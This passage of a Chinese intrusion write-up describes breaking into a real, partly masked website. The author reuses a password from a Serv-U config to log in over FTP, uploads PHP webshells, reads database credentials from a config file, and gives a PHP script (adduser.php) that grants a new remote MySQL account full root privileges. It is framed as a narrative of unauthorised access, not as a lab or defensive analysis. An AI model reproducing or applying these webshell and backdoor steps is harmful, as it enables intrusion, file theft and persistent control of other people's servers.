面的哪一行即ID=1的为管理员的注册信息,第一个为用户名,第二个为密码。发现该用户名与ServUDaemon.ini中的相同,密码会不会也相同呢? (很多人都有使用同一密码的习惯!!)打开DOS窗口-->登录FTP-->输入用户名和密码,成功了,终于成功了!揪出这个密码可真不容易 啊!!这时字典还在哪挂着来,要跑出这个8位纯字母的密码也要费一段时间啊!!
一、 上传PHPSHELL,控制MYSQL数据库
通过 ServUDaemon.ini文件中的Access1=D:\s***n\ a***lover\photo\gallery |RWAMLCDP知道该用户具有:读取(R),写入(W),追加(A)等功能,唯独缺少了"执行(E)"功能!利用PUT命令上传一个一句话的 WebShell上去.在浏览器中运行http://www.*****.net/ a***lover/photo/gallery/webshell.php?cmd=dir,出现: Warning: passthru(): Unable to fork [dir] in D:\s***n\a***lover\photo\gallery\webshell.php on line 1 看 来外部命令不能执行,管理员一定作了相应设置.再上传一个phpinfo.php文件 在浏览器中运行:http://www.*****.net/ a***lover/photo/gallery/phpinfo.php,这时在php.ini变量的设置都显示出来了(当然也你可以利用CASI看 c:\windows\php.ini 的内容)!外部命令不能执行的原因在此: 以下是引用片段: safe_mode Off Off
safe_mode_exec_dir no value no value
safe_mode_gid Off Off
safe_mode_include_dir no value no value
接下来上传一个自己编的仅带有浏览,拷贝,重命名,删除文件和上传文件五个功能的PHPSHELL:CMD.PHP
注: 由于时间仓促代码界面没优化好,在dir文本框中输入要浏览的目录名称;copy文本框中,上面输入源文件如d:\web\cmd.php,下面输入目标 文件如d:\web\cmdbak.php;del文本框中输入要删除的文件名如:d:\web\cmdbak.php;ren命令与copy命令相似; 点浏览按钮,选择你要上传的文件,然后点upload按钮,就上传到与本SHELL相同的目录下了.
运行: http://www.*****.net/ a***lover/photo/gallery/cmd.php,利用dir命令,可以看D盘,C:\windows,以及C:\Program Files下的内容,而且对D盘还有写权限!在通过copy命令把想下载的软件考到WEB目录下下载下来了^_^
如何才能把文件写到只读的C盘上呢?这就要通过MYSQL了!但是MYSQL没有远程连接啊!没有条件创造条件,看文章系统的配置文件config.inc.php的内容了吗? $dbhost="localhost";//数据库主机名 $dbuser="root";//数据库用户名 $dbpass="******";//数据库密码 $dbname="article";//数据库名
数据库用户名和密码都知道了,可惜的是本地用户,然而我们能不能通过本地有最高权限用户root来添加个远程用户呢?答案是肯定的。
为此专门写了个程序adduser.php利用已知的有ROOT权限的帐号添写加远程ROOT权限的帐号,内容如下:
以下是代码片段: $dbh=mysql_connect('localhost:3306','root','*****');// echo mysql_errno().": ".mysql_error()." "; mysql_select_db('mysql'); echo mysql_errno().": ".mysql_error()." "; $query="GRANT ALL PRIVILEGES ON *.* TO username@'%'IDENTIFIED BY 'password' WITH GRANT OPTION"; $res=mysql_query($query, $dbh); echo mysql_errno().": ".mysql_error()." "; $err=mysql_error(); if($err){ echo "ERROR!"; } else{ echo "ADD USER OK!"; } ?>